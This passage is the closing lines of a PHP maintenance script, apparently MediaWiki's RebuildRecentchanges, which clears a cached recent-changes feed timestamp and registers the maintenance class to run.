$messageMemc->delete( wfMemcKey( 'rcfeed', $feed, 'timestamp' ) ); # Good enough for now. } } } $maintClass = "RebuildRecentchanges"; require_once RUN_MAINTENANCE_IF_MAIN;